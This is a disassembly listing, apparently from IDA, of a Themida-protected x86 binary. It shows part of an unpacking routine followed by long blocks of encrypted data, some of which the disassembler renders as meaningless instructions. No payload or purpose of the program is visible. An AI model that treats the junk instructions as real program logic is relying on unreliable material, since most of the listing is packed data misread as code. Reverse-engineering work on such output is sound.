; CODE XREF: sub_48F11B:loc_48F153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_48F259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F259: ; CODE XREF: sub_48F11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_48F11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_48F265: ; CODE XREF: start:loc_48F076j ; start+9Dj jmp loc_4EDCB7 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_48F26A dw 38E9h ; DATA XREF: start+77o dd 157334Ch, 7122AFBFh, 22EF1FE1h, 0EF1BE192h, 1EE19822h dd 2E36F2EAh, 11FCBE10h, 0BA3E848Bh, 0C203AAA1h, 170541Dh dd 4572FF85h, 3002DD7Ch, 59312D34h, 3DE7F33h, 74736552h dd 41997261h, 0E92EC570h, 58C7F278h, 6854005Fh, 64696D65h dd 0AABC6148h, 3DC24ACh, 33E4DF23h, 0DE37C23Dh, 3FC23545h dd 0DC22915Fh, 597ED723h, 0BFAB1801h, 0FFBF01D1h, 46B82188h dd 0EC8AD6BFh, 0C58BF1EAh, 5060D4C8h, 5D0AE8h, 335BED81h dd 958905E2h, 0D0D6531h, 21EAC5B5h, 315185h, 417DBD83h dd 0C74C00Fh, 7EE88B39h, 8F55B84Ch, 447078C2h, 3EBEE324h dd 6A0C0BA0h, 29A3E845h, 749A0F68h db 83h, 7, 4Ah ; --------------------------------------------------------------------------- loc_48F32F: ; CODE XREF: Themida_:0048F3ADj fisttp word ptr [edx] add esp, ds:0D20A894Bh aad 21h jmp near ptr 0EC92F552h ; --------------------------------------------------------------------------- dw 1FAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+13449EAh], al mov ebx, edx mov dword ptr [ebp-28h], 0E630823h inc eax mov [edi], ebx or [ecx+1D80987Dh], al jz short loc_48F372 iret ; --------------------------------------------------------------------------- dd 83E40820h, 0FF1093B3h, 0EB43120Ch db 0E1h, 36h ; --------------------------------------------------------------------------- loc_48F372: ; CODE XREF: Themida_:0048F361j fsubr qword ptr [esi+61h] db 26h or cl, 0C2h add al, 80h inc esi add esp, 2D1FF7Ch dec ecx enter 0FFFF8092h, 8Dh inc ebp or byte ptr [ebx-38D7F7A3h], 85h sbb [ecx+0A408D50h], ecx rol ebx, 1 mov ds:0B894118h, dl adc al, 81h mov ebp, 755D4006h push edx jecxz short loc_48F3CE test [ebp-7F9BE246h], ecx jnz short loc_48F32F mov cl, [esi] mov ebx, 15B92F4h mov eax, 785437ABh rcl eax, cl stc ja near ptr 0F7BE3ECCh pusha scasd retn ; --------------------------------------------------------------------------- db 47h dd 8C4AA446h db 46h, 54h ; --------------------------------------------------------------------------- loc_48F3CE: ; CODE XREF: Themida_:0048F3A5j stc inc edx rcl dword ptr [edi+61h], 1 mov al, [eax-30h] ; CODE XREF: Themida_:0048F3D6j lock jmp short near ptr loc_48F3D3+1 ; --------------------------------------------------------------------------- db 14h, 0EEh, 45h dd 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h, 7DC334DCh dd 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh, 0F065C14Ah dd 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh, 98FB8039h dd 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h, 8FE660Ah dd 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh, 4424BD06h dd 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h, 0AACCA576h dd 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh, 0AA83B0BDh dd 0BAA1387Ch, 0C1B9C108h, 0BDFC5070h, 0FE8035D8h, 4947030Fh dd 22B9FA75h, 0BBB86A8Bh, 972F101h, 6FEB823Bh, 868E0002h dd 1CE337D2h, 1F655106h, 8AEEA236h, 0E9892677h, 675920F2h dd 131FDC82h, 54DF6BD7h, 211D0498h, 3C4725Ch, 5255D8Ah dd 8304582h, 5444211Bh, 697800C4h, 7D3ED63Ch, 0C30C2C82h dd 25068E10h, 356300BCh, 67613A37h, 6C6E08Ch, 6F8E62C3h dd 0CB67F0F1h, 398A0C34h, 765B4E00h, 51B8100Fh, 0D1043E3Dh dd 46303B3Bh, 2E097552h, 0EC011EAh, 65E4EC48h, 0EA39A390h dd 8E03C084h, 87E55496h, 40A8F53h, 8C8C29C2h, 0DBE7EC71h dd 0FFB3A00Eh, 77812B0Ch, 11D2204h, 0F984C134h, 90207533h dd 76773FBCh, 30EF670Ah, 0EC413302h, 9F7F8C89h, 4090FFCCh dd 0E9EA45CFh, 0C4625060h, 4D8C5200h, 0AA821125h, 0ABCD84B1h dd 1308845Ah, 0AEDA656h, 0F0EE825Eh, 440EA881h, 0B9FA8AAEh dd 230513A2h, 0EA432897h, 0D8111360h, 0E5EB95h, 0CFDFF7Dh dd 3B4344BBh, 0D699C71Eh, 0B8A2A940h, 488D678Bh, 572326DAh dd 44C45F0Eh, 1962758Ah, 0C4574720h, 0FA7804ECh, 8681BBE8h dd 5646467Fh, 88C45E1Ch, 1CC46D8Ah, 66564646h, 5AD0CE00h dd 6BEA17CAh, 0CDC83A81h, 15C89BD5h, 1E927E6Dh, 8079F102h dd 9C81874Bh, 0D801ABE7h, 10CA0B3Ch, 31B27586h, 60305886h dd 468AE4C4h, 1A227Dh, 0F4C45848h, 0F2886AE0h, 0AE91518h dd 729EAB1Dh, 0DFCF01B1h, 100750D3h, 0C85CD8C0h, 1BA8614h dd 2F0232D1h, 0E42C40FDh, 0EAF015FEh, 51234838h, 44C4590Eh dd 1E62458Ah, 514122h, 64FEFA8Eh, 0C0EF7C00h, 0BA610337h dd 0DE5D0A9Eh, 4E416260h, 8AFA1E71h, 16272ECDh, 1588EB0Eh dd 94B453C3h, 10DAFC83h, 1817A24Eh, 402909E9h, 0E6EB00F8h dd 5CFD2FCDh, 0A576D482h, 59733105h, 39188410h, 1982DF46h dd 125A93C1h, 0E42D3157h, 4A3DD6F0h, 5C628053h, 0F70F32BBh dd 1D91981Ah, 8CF6F90Ah, 19490BE9h, 4E9F8900h, 8D23C25Fh dd 26B776FBh, 33C098Ch, 2BEA82DBh, 0BC7AFFB8h, 0C87E50Fh dd 54C2611Eh, 0E7303725h, 23730CE0h, 0D52E3EBAh, 2A34871Dh dd 0FB009F69h, 8228C43h, 0DE93052h, 0E1291817h, 12DDC10Fh dd 9C06A035h, 7F5C8AF6h, 14EA5090h, 0BFF7FECh, 0DBFBA9B0h dd 9FA84400h, 0E91484D3h, 765EA03h, 964A8A4Bh, 583A6280h dd 498338F3h, 0E0352CC8h, 82725FEh, 0EA92276Ah, 65A14920h dd 0D5313AC1h, 2F3C50Dh, 251D80FAh, 0A528BA0Fh, 0A0AF0141h dd 37F2DA06h, 92E0E69Dh, 29053422h, 5FEAD98Ch, 0FCFBDF90h dd 0A0D57B96h, 0C3F5FDh, 68252E04h, 9435B24Fh, 95FC7100h dd 0A0F31CACh, 579D0030h, 7E436BA5h, 0DC608859h, 7DCC0C20h dd 0F4117F5Eh, 0A1621FFDh, 32374F5Dh, 0E6E0556Fh, 5B2DDFC4h dd 74F50500h, 0AB8987B5h, 2162009Fh, 577DC57Fh, 0DB001BACh dd 0AD322CFBh, 7E59517h, 0D20A543Ch, 5D2D1087h, 790093F6h dd 8A0DB49Dh, 7B1F41BCh, 19BE00B7h, 0AAE56D97h, 0FC076BACh dd 0EE0F58A2h, 7AC72B10h, 7DAE009h, 34D1A159h, 35701027h dd 0F700E168h, 4B7A7CB6h, 601B0BBBh, 6495405Ch, 700D862h dd 4084F4B4h, 3A7FDDD6h, 8A0FC8B9h, 808EF643h, 1AC91898h dd 9E9A890Eh, 5409800Bh, 0C07D1314h, 99315D28h, 0E1617874h dd 49116111h, 7D232A00h, 0D618DA60h, 0FBEFB1h, 76A7779Ah dd 13655EA5h, 0F5BED400h, 84FFCD79h, 0DE2E3222h, 66615431h dd 0BC1880C1h, 3862C20Ah, 0D6A1C75Bh, 5DBD03E4h, 0E33DACC0h dd 0B17E6030h, 0DFDCC07Fh, 0D30C629h, 610C903Dh, 30AEBDB6h dd 34AA5034h, 0BAE520CDh, 0C1EA440Eh, 0F129E066h, 0CD9A589h dd 0CFC5D5ACh, 41772120h, 0A82E051Ch, 7448533Ch, 0C1BAFF06h dd 0A08835A1h, 3F5018A7h, 731EA6h, 8247B3CDh, 8E687FF5h dd 6153A0Eh, 31B7EC90h, 0ACE30943h, 930F222Ah, 407D7285h dd 5796D6ACh, 0B9000233h, 0E25D0B34h, 30594266h, 56A86B79h dd 49F82B4Ah, 0F04B2D33h, 0B5900A8Bh, 4088BC7Fh, 3A7D28D5h dd 0C036A180h, 26C3D279h, 0C2014A2Bh, 5B83EFA9h, 16C8A8BBh dd 636290C6h, 0DB7D41CAh, 0FB379107h, 81502775h, 4EE3F6h dd 0BB04F9CAh, 0D51610D0h, 0E0A885E2h, 0CD343142h, 0EC04A863h dd 0AE09AC86h, 37151802h, 0E39A3201h, 0C5AB6980h, 0FAF69242h dd 2CCF6A00h, 50547716h, 3BBEE36h, 0C39165E6h, 43A2CA9Ch dd 61ABDCA0h, 51DF2129h, 5EE3D502h, 0A10C4877h, 0C6F1C054h dd 83C3796Dh, 0E8F9C700h, 0D1D01496h, 0B82A1D53h, 0DF2C80B0h dd 0B4BA5F46h, 0E255F518h, 10BDDCB0h, 4642550h, 0B545E5FDh dd 41F62882h, 0DE5D24h, 29103338h, 5CE3D60Ch, 18018188h dd 30C6F9E6h, 6602A1D7h, 7D58BD5Fh, 3BC8A44Ah, 5A697F40h dd 480098A6h, 4BACBFC6h, 2A383AC0h, 48C0D660h, 0FC00147Dh dd 0F5AD7924h, 5F488654h, 3F407878h, 0DBBB247Fh, 0CFDA40E8h dd 87120483h, 2C33DC29h, 0CC9D9011h, 50D0DC68h, 396D02B9h dd 421A4392h, 0C9CC18BCh, 1B76F9h, 4D05BAAFh, 47C07A2Fh dd 715DCA01h, 6625613Ah, 0A136F440h, 0B9D1C03Ch, 5B162D64h dd 88722B00h, 2A8C778Fh, 860C1310h, 0D8140831h, 0B3DCA380h dd 369FEB4h, 0BE91C8ECh, 28817DC2h, 0ADC56022h, 0BE08FFBh dd 0B0A5ECE6h, 7A7002D6h, 6EC21980h, 0B68AB8A0h, 50609B29h dd 10A7EA90h, 0BEECA841h, 88033A52h, 104D61BDh, 0E983060Eh dd 40405487h, 96753799h, 0A6153C03h, 9893B714h, 7C1AF72h dd 5B0D5FF9h, 0DE07D083h, 580E9574h, 8780BCBDh, 0C0AFF0B8h dd 0CFC9BB9h, 0DD333CB2h, 6025500h, 1DB40984h, 78909200h dd 7B5AF6E8h, 3F0F00A6h, 0BBF3892Eh, 570185AFh, 0CE9581CCh dd 88D0BC28h, 0E9930053h, 9CC430DAh, 80998FE2h, 7B7D8Fh dd 598C73A7h, 0CAD8F2C6h, 80ACD919h, 0D046BD38h, 21036399h dd 4DC34B2Ah, 4C8194C7h, 1E04BCC5h, 38421088h, 55759291h dd 0A1D6E509h, 5E6D5990h, 0B9108C32h, 6C5C03D4h, 9E7605DDh dd 0E3D10A10h, 87C48963h, 0D2412092h, 0A4486DF5h, 2892C59Ah dd 82972700h, 663B91DBh, 0A5831E4Ah, 0D2E60F25h, 1D6267E0h dd 109144AAh, 0A9B40BBAh, 24488042h, 0F8E19D1Ch, 7E753059h dd 22F7E998h, 297DF605h, 28885838h, 37A1247Ch, 6087BD0Ch dd 1079C7C0h, 0A54BAF91h, 224EDC1Dh, 0DC0E6992h, 139587Dh dd 5DE700A7h, 0CD607652h, 0C983E56h, 0C8F8E94Ch, 0C978813Fh dd 70ABF4EDh, 20DE0130h, 29BC2A45h, 0A07386h, 97ABCF83h dd 42AAF87Dh, 0DD8087F8h, 4BD1009Fh, 0A873295Fh, 0B6268915h dd 748A1875h, 0A108D41Dh, 0E8601CFh, 8642C47Fh, 8359E3E1h dd 6170C249h, 5D00747Dh, 6F5EDBBh, 5737BA0Dh, 0F431D94Fh dd 9DA317Fh, 761F70h, 0F647BB28h, 0F8172097h, 0C5694962h dd 69D8A7EEh, 5858488Ch, 11C4A07Bh, 9DA901BCh, 73EC01DBh dd 0B98E06EBh, 887DE929h dd 62C65E13h, 0A67E8808h, 8EDC107Ch, 110C9460h, 0F605DFB8h dd 81F09F5Dh, 2508D14h, 8EF44829h, 0E3238842h, 1205550h dd 0D429C614h, 25F51294h, 0CE424427h, 618C48E9h, 35713359h dd 1CE60150h, 0FD7318C7h, 0CBEDCD01h, 309C1093h, 0E29A8A10h dd 0FF2599C0h, 3E679D4Ch, 0D0817114h, 7DD9A279h, 488980DCh dd 528E601Dh, 0B2A10075h, 239537C4h, 210BBC34h, 8182206Dh dd 5EC96050h, 0D99A3A00h, 0F94D61C0h, 60E852Dh, 7D5F5655h dd 35E859D0h, 96BB6100h, 86AC515Eh, 0B60F00E7h, 0AEB3493Ah dd 60B83B34h, 704A7020h, 3CB51AF0h, 10C3D09Eh, 0FD013BBAh dd 58EF72EDh, 25100C18h, 0BE890542h, 945CD219h, 0F295540h dd 63C17FDEh, 0D77DA1C6h, 3DBE9100h, 6619AF52h, 72CA1E1Fh dd 0E738BB2h, 61D5B886h, 5F1143Fh, 871D49B9h, 34E258D7h dd 0BAA4E016h, 75313061h, 0F07F7D18h, 92588B00h, 0E8595F21h dd 10E0BA02h, 5CBD2DBEh, 0CDC49D14h, 8D42C7B5h, 5A63A0E5h dd 7400A848h, 5C5BE988h, 70220861h, 66A9CCA8h, 19D08C82h dd 0F8611DDEh, 0B3803D8Eh, 0E3A52ED8h, 3C05AF6Bh, 22331CB7h dd 52A9DC81h, 0A544DC00h, 0C5D612Eh, 25EBA189h, 98209A4Ch dd 741BDF1Eh, 429F00FCh, 3CC1C85Ch, 900060E8h, 20A85DF5h dd 0B1DEBA7Fh, 91059BD8h, 8D68C0C4h, 11C053A1h, 0DC89B12Eh dd 0AC30081h, 20D03F94h, 0DB03C7EAh, 6DFDE7B4h, 0D9A81D61h dd 602E8F67h, 413907A6h, 0C95F232Eh, 0E6B0591Ah, 7DF51440h dd 0E23D14A2h, 0B231C300h, 360B3F2Ch, 4C0F5500h, 34AD0523h dd 7CBE0EEFh, 20737704h, 592D6598h, 3E028EF2h, 0C20EDB4Ah dd 9C4499h, 740494A7h, 6DBF059Fh, 1F2A0F00h, 82A0A90Eh dd 0F54D2692h, 33414010h, 98009F64h, 0BE2CEC5Eh, 1E0BF78Ch dd 497024B0h, 209099C3h, 6300FA41h, 847A5D81h, 2660E295h dd 1344A83Ch, 0F0D020A0h, 0E5000664h, 437A321Ch, 7C5CFC23h dd 54AD0BA2h, 50218DEDh, 32F51C22h, 68451CA8h, 80C007DFh dd 57A2A00Ch, 7F0601DFh, 8EEC88BEh, 1863A7h, 36A8139h dd 26147BF6h, 86541B92h, 8950FFDAh, 52878099h, 76806DF8h dd 9CBC27h, 0F7F9B368h, 600B4923h, 1164D449h, 7D04DC61h dd 0B011CE03h, 5644E364h, 0C8294DDDh, 0B495ED08h, 0E4A23132h dd 1E9100C4h, 0BFAC5AD9h, 0B64865E2h, 9C00E04h, 3CD39C5Dh dd 590BB05Fh, 0E99CA7F9h, 0B9C9BD01h, 895D7188h, 59B59282h dd 7E148161h, 0D980E0BBh, 0A00983F6h, 0A006689h, 17D427Bh dd 0C5C9EDBEh, 10D27F48h, 2E2045Ch, 9EBDFD20h, 39609A9Dh dd 5F4A5161h, 99CD100h, 206F06DAh, 955881FCh, 9398C284h dd 96C05622h, 0AA72C207h, 0ADC17603h, 0AAED8F8Eh, 4A7464C3h dd 0B2C1F9Dh, 38045C92h, 0BDC80202h, 0C1CC81Dh, 9D581976h dd 603FE0BCh, 0C17EC0F0h, 55D4EA16h, 9FA08451h, 187CB91Ch dd 771049DDh, 0DA9B2886h, 8CD6074h, 5F465706h, 0BAE840F9h dd 862EC21Ah, 7D18C80Bh, 0C0AF8589h, 0E07582E1h, 467D12FAh dd 4950A8F0h, 5135430h, 0AC02153Eh, 50268EBCh, 31C8980Ch dd 5FF1ADCDh, 8A3F21Fh, 913D547Dh, 4139B45Eh, 2289CCD2h dd 4FE10FCBh, 1D91BF85h, 793759C3h, 56842F80h, 21816A29h dd 7459145Ch, 0C42A1E05h, 3184741h, 89E04AC6h, 0A40C6757h dd 0A2886870h, 1308913Eh, 13F80756h, 3F66B35Fh, 0B0A08BA7h dd 0D61D32E1h, 845AEA28h, 187CE944h, 41BC99CBh, 89DEE27Eh dd 8D080A18h, 3E41DD03h, 0E595D32h, 0EBA7A8A0h, 50B2A5F4h dd 0A12A5C86h, 0FA09A8C7h, 10810F7Dh, 0F64AEB4h, 2C7B724Eh dd 411A3C23h, 0EC50C98h, 57938C26h, 638FCE00h, 77BDA987h dd 969D3CAEh, 0C03CA33Ch, 34475700h, 45C8247Fh, 2B746C00h dd 8CD1BDFAh, 0FF7D01DAh, 9B59957Eh, 20AAC4BEh, 5E969E24h dd 5750B018h, 8C340E5Dh, 6C83DE41h, 0C8803F76h, 0D024A0E0h dd 0D100DBD8h, 0ADBE9768h, 9CCE02EDh, 0C49D6ED4h, 63501FE0h dd 418D7507h, 0C0CA34DCh, 7ED50448h, 485BF8A8h, 3F8F7609h dd 71D800DEh, 7D0FE32h, 979B88E0h, 16A4E0E3h, 0BE1EB49Ah dd 950020ECh, 1B39E6Ah, 475330E1h dword_49005C dd 77D62540h, 41F3572h, 9B41C8F4h, 9DD4E6D0h, 19F59C4h ; DATA XREF: ___:off_427B6Co dd 0AF89EB69h, 0D4568F84h, 0EF05B4h, 40329578h, 47C6DD7h dd 8CCBC400h, 8BD8E4D0h, 93680798h, 9FECC26Fh, 895AA261h dd 54E0E0C3h, 958B1100h, 1C77C93Eh, 6350973h, 3884CDC4h dd 0AE948B42h, 73635D80h, 0D8002889h, 4746745h, 0CBC8F7h dd 0DCDFD08Dh, 9758D19Dh, 0AEC7B400h, 639F87E2h, 0B36F0098h dd 7B475AE1h, 9B002C94h, 2B412E30h, 0E0BEFEh, 0CAF09DC9h dd 5E618EA2h, 0BE6853Eh, 938DDCh, 0E2016B74h, 75450C5Ah dd 18402F87h, 0F93E4107h, 201FC9C8h, 0A389E0DCh, 0B05C076Dh dd 7120F2C7h, 0E088688Fh, 0A000E2B3h, 417B755Ah, 21A479Bh dd 0D2F93D78h, 8CCDCFC9h, 0E59F405Dh, 34004E5Ch, 45C92489h dd 0E307119h, 0D00DCE08h, 87E3CB22h, 0C8BD8C00h, 3D91FAF3h dd 0B0001597h, 4E5EAEB4h, 7300946Fh, 7A2E38E0h, 0C5F834h dd 0DB9395CDh, 5A97901Bh, 0C2AC5C00h, 0FA8DDED5h, 0C3A33802h dd 4AA0DF00h, 0DA2E8C76h, 7D294B00h, 0EBB0904h, 0C9D00089h dd 679E9CE4h, 0B300AA5Ch, 93A2DDAEh, 0B4A158h, 3DA0ACBDh dd 9B408F7Ch, 75353903h, 97C0CB3Fh, 1BEBD1A0h, 44ACB0A2h dd 8505C7A1h, 69976795h, 46F8824h, 3E92C0FEh, 78E9F9h dd 6F22F746h, 7203353Ah, 34738A29h, 0EEFE0056h, 7631674h dd 2F002972h, 666A6EE9h, 0AE26C0B6h, 0A87D131Ch, 2630B45Fh dd 12A7DB40h, 0A0CD48DFh, 0EC392880h, 83039FAAh, 9B38DDC3h dd 0B64100D7h, 5D08CB8Bh, 3F2D6672h, 0CC1C8655h, 941C0021h dd 2576EFCBh, 50BEB67Fh, 9D495F82h, 225CF236h, 700FCC3Dh dd 8031C481h, 0DDD9A572h, 6541916h, 402D808Fh, 0C6ED5860h dd 85022507h, 321587A8h, 3521C62h, 0F10041D2h, 0DA9951B6h dd 1EAD99Eh, 8E0E0BBAh, 2B41C603h, 78107000h, 607E118Ah dd 30BD69DFh, 55051384h, 5CDA5F16h, 0C3C54CE0h, 8438A321h dd 0AB40A980h, 958FA600h, 921E5F0Bh, 0C93118C3h, 0BF7F9165h dd 3E805452h, 3F3F2151h, 0DA17CDA2h, 6C80BC06h, 639161BAh dd 97D4077h, 2041A290h, 905F523Eh, 1045381h, 3C665CEh dd 0A5B232E3h, 50BD6001h, 2883466Dh, 0E05D37FAh, 9457B901h dd 7D56E312h, 9A004A2Bh, 65EA43D0h, 111E9D0h, 56D32900h dd 59B63AFFh, 903E61CCh, 0F6D1D5D4h, 27131840h, 3F01B400h dd 0E05ACBAh, 0FC78E1A5h, 42EA10h, 6022F9E4h, 1BC27F2h dd 233A7D8Ch, 2B3493F6h, 0D168F420h, 46FE13D6h, 0A08E27Dh dd 4861072h, 0F5F9030h, 0BDCD2F8Fh, 0DD04C48Eh, 854C983Ah dd 5D0ACB08h, 40D1C4A2h, 0E6CB8E16h, 15070791h, 305A55ABh dd 0DBEA1D58h, 0B5F2C1Ch, 83E17F40h, 2AF58D03h, 947CF4h dd 343B8F54h, 0B0E48A94h, 5029D02h, 7C9A9265h, 22FD800Ch dd 9474D138h, 605FDF1Dh, 83626BC0h, 0A1A5CDh, 0B2ED78A2h dd 5CB1615Dh, 222FD0A0h, 0FB8EE0EFh, 432410C1h, 0D822F606h dd 970B6A05h, 9F4E486h, 217609CCh, 97130E4Ah, 0FC813A73h dd 3E0CB056h, 51BC8C07h, 77036454h, 49C15C8Ch, 12C2482h dd 0A4EDE62Ah, 87AD3307h, 0B0CAA8D2h, 2260EA02h, 603B0443h dd 770BCB86h, 0D2448C5Dh, 0CB8F0017h, 0BF253C61h, 0E10126CDh dd 3072DE56h, 509121F0h, 0CBC29C37h, 316A5D07h, 931B10CAh dd 5E7A01CBh, 0C3BDC70Dh, 0D5B09899h, 0EE595D21h, 1C89973Eh dd 8C003459h, 0A561578Dh, 0F8BE48Fh, 2EAC96F0h, 6003A49h dd 1D66B25Dh, 0A24CD098h, 1363808Ch, 9BA2F1Fh, 0C286C1F2h dd 4B6E4050h, 1F0B0321h, 60D08053h, 5F230447h, 403AA106h dd 35FCA496h, 714A012Bh, 315D2213h, 7FEC50AAh, 0DB0294E8h dd 29568BCFh, 84345ED1h, 0E9A05938h, 19FD0824h, 6EC40CCBh dd 0A74EBE38h, 0F40D7095h, 0D00E71EAh, 0DAC7CFC8h, 4BCC4AF0h dd 666902A0h, 5530D510h, 30342C69h, 86455DA8h, 0A9BE6020h dd 88183538h, 5D05CB08h, 40CEC47Ah, 0C9CB9119h, 60A812B3h dd 358F2C4h, 0F594D7DAh, 0E4699156h, 59BCF083h, 787C6FB1h dd 349AED7Fh, 0E096C41Fh, 0CF19EE84h, 745A78D2h, 8EBE4174h dd 30C10497h, 0C8004FE1h, 0D50D7342h, 48D879FDh, 8E88302Ah dd 5927BA39h, 86986061h, 38960E22h, 2EA0CBE2h, 0C5DC269Bh dd 6981F437h, 0B79F608Fh, 2519E1D7h, 0A460292Fh, 0ABEC9D55h dd 607812B5h, 1C9A3847h, 1257E74Eh, 7254F42Dh, 99DE9FCh dd 0D640A4E0h, 29000312h, 8BE0792Dh, 0DE6235CEh, 610E7318h dd 0C180708h, 187971Eh, 7211E3h, 0EE97144Bh, 25ED7A5Ah dd 98E8A22Eh, 981DE949h, 0B103E84Bh, 0B73032B5h, 5ED1A040h dd 267701E7h, 10D6DC1Ah, 7C32F6h, 9ABE069Bh, 0EA5F2Eh dd 6D9831C8h, 67C20A3Bh, 0D2548009h, 64508EBEh, 50B9D82Dh dd 845C9D10h, 0D501C8BDh, 0A8D805DAh, 8F46C091h, 341F1006h dd 0C0A65CBAh, 1054E44h, 9DAB1F08h, 238854E3h, 0CE3D1000h dd 523F502h, 0F884E0FAh, 8778ACFEh, 90E4521Fh, 0C38070E8h dd 0B10F9471h, 9F9B7F00h, 44C0C220h, 19800217h, 5BF13A61h dd 4CA6485Ch, 0BA00B0A4h, 3288A537h, 76DEFA22h, 7C5C4903h dd 825EE309h, 0D811ECD9h, 32B62C00h, 0D4EB93BCh, 0A0CCE135h dd 82E4FC08h, 0DAD9F5ACh, 7DA08209h, 8358E014h, 0ABA50009h dd 55928F8Dh, 1D4D1A23h, 0D4B11014h, 0C086A81Ch, 515E9003h dd 0BCA45D01h, 4386BDEEh, 9323E9h, 0BA301F14h, 4486C1EAh dd 0C1C0150h, 7E5CD51Fh, 0A9BE0345h, 0B7C19CD7h, 0E0255DEDh dd 0CB8D7DDCh, 0A89777D1h, 298EC891h, 0CA757F40h, 0C0002630h dd 20FA7AD8h, 23A0C5Fh, 0E8B5A5ECh, 0A4604616h, 0D10EFF91h dd 32DDEE01h, 3251984Fh, 0CC23E0F1h, 1CAF6F00h, 83E94275h dd 600AE01Dh, 806B0949h, 727C0544h, 128E05EBh, 0D1E528D5h dd 0E18134D0h, 9C020DCh, 9706048Ch, 62170189h, 0E452078h dd 0C8065A97h, 8B5DE33Ch, 1009819h, 0C3957D8Dh, 33712D31h dd 0DE1F10B0h, 24561Ch, 0F78D88C1h, 770FEEC9h, 0C515B8Fh dd 24EA3073h, 0A870E9F4h, 0E56101C0h, 0EDBEDD75h, 200F6F29h dd 0A7D0399Ah, 0CCA29073h, 3CD7730h, 0A0C2287Fh, 58B2EF31h dd 0C07A5889h, 0D2AF5D12h, 0FBA6F404h, 0A510C414h, 27FC00D7h dd 5746441Fh, 0E8125CB2h, 0E289040Fh, 86BC28E2h, 80D3A041h dd 0F6665528h, 607DD554h, 0D91DC0C9h, 0C7F8E8Fh, 0BDFD5205h dd 0F8C89772h, 84048C39h, 9A5D09CBh, 1520D062h, 0E2CB8Dh dd 0CD70694Ah, 8B033109h, 280E5E24h, 0CE85AE02h, 2198E865h dd 700D645Fh, 511E5E82h, 30406257h, 2A8E0FA7h, 0D15D2D38h dd 10792049h, 3EC7539h, 205F9FA2h, 90A8B12Fh, 0C1039AF7h dd 0BA293369h, 0F0CEB5DAh, 0EEC17588h, 236F9B2Dh, 21C8550Ch dd 0EBF44D4Fh, 92917300h, 0E1FCFDA1h, 0A0B999h, 0CB78649Eh dd 6E007219h, 6803A974h, 1A4A62h, 8B85B75Fh, 0EB106AE1h dd 0C555F414h, 0BCCC49C0h, 0E33308B0h, 0A878B57h, 715DAA0h dd 380B38ADh, 6CD1E460h, 2B52208h, 13EF61B6h, 820EA076h dd 0FCCC6A83h, 0B8EB06C0h, 0C85925B9h, 83F64480h, 8A15880h dd 737820EAh, 383C7E02h, 0E031F333h, 8172C528h, 74063F7Ch dd 116E71h, 5894F07Fh, 0F75521BAh, 2727E23Dh, 0FA7466C7h dd 0D9BC3D5Dh, 1B18B180h, 73388B05h, 24185548h, 863DA610h dd 599149BAh, 6DD42689h, 5E30AEF0h, 29004646h, 14FBC551h dd 0FC17B5C6h, 10651119h dd 0C0082008h, 188970Dh, 0E0480F4Ch, 7297154Ch, 0FC6B00A4h dd 9421C45Ch, 0F090B9EBh, 72DC0B48h, 13D5B840h, 0B74DA550h dd 5D1907F8h, 9C16FC3h, 0AC63AA3Ch, 35217405h, 0E8BC0064h dd 53AFC513h, 0D0050E78h, 8C07CE1Bh, 0E2809CBCh, 93E16F8Dh dd 19998003h, 0D076D545h, 3B8A954Fh, 0DB13F522h, 270B24Dh dd 28430306h, 2F90442Eh, 0C445C17Fh, 48A45300h, 3144DFDh dd 123F3944h, 0A5C9C2A6h, 681C3BB4h, 2DC048ECh, 46551084h dd 1C6221Eh, 988435A0h, 0F87BED63h, 0AD046ACAh, 57B9315Dh dd 3C290F0h, 0A85CDF68h, 84D43D29h, 887CCE00h, 0CA60CEC4h dd 20C931Dh, 9CC32A01h, 95C6031Bh, 0F5127828h, 0F0980E58h dd 73AB8400h, 0CE17030Eh, 0B821B529h, 20393F85h, 9010C23h dd 2F018C97h, 48B01828h, 9C3E9711h, 1328FD2h, 6961E32Ah dd 83D02E88h, 56F4012Ch, 0F551BBBCh, 54188480h, 0D0A0C9CDh dd 5621321h, 4360D07Fh, 0CD90F46Dh, 2CEDE348h, 0C2938044h dd 83CBDC27h, 745F9987h, 3D312D11h, 3BD41C60h, 83898501h dd 795E9CC2h, 15232872h, 0F843401h, 0AC4E3655h, 843C9F00h dd 39F7E760h, 64AB672Dh, 0C061001Ch, 0C2CEC905h, 780320B4h dd 976611E5h, 6310C007h, 7F4313E2h, 0BD8CD0BAh, 725C9158h dd 0CB8184ACh, 7F21DCF5h, 0D1F859A9h, 112184Ah, 5F78932h dd 2955E3B3h, 0EE61046Ch, 0BD0BB9C1h, 0D2635985h, 38A49E6Ch dd 1F0E608Dh, 9C889F32h, 603E038h, 92E45E1Fh, 42E21116h dd 0CC4F78A0h, 6D069D9h, 8E23EF43h, 331F0F01h, 304812BAh dd 7048851h, 40A41F00h, 23453368h, 6D59105Dh, 4F241774h dd 0CF23483Ah, 9E95B600h, 21F9CA5h, 49A8793Dh, 8F058425h dd 74E49416h, 0A45D130Fh, 26D70518h, 39386B22h, 0DF4C0340h dd 0A0DE571Ah, 400D49B9h, 215AF466h, 9A29A8C1h, 513900FFh dd 0CECA858Bh, 12126CE9h, 4440CD7Dh, 24BEA0F5h, 485C00AEh dd 6315CEFEh, 0A501AC51h, 292D178Ah, 0AC72DB80h, 0D47C084Bh dd 7802318Fh, 257FE078h, 14036DBEh, 3100CE7Eh, 71611306h dd 0E24F7A8h, 45521F2Dh, 688A6E00h, 8454F510h, 5A0090E0h dd 0B9955C5h, 14030A60h, 9CE1D9EEh, 0D195273Ah, 0BD05E41Eh dd 0C2505E66h, 44E46138h, 2E902A5Ch, 9003E016h, 404CA17Dh dd 2061F431h, 29004A2Dh, 0CCE0F4C3h, 0C06E5A37h, 573826A9h dd 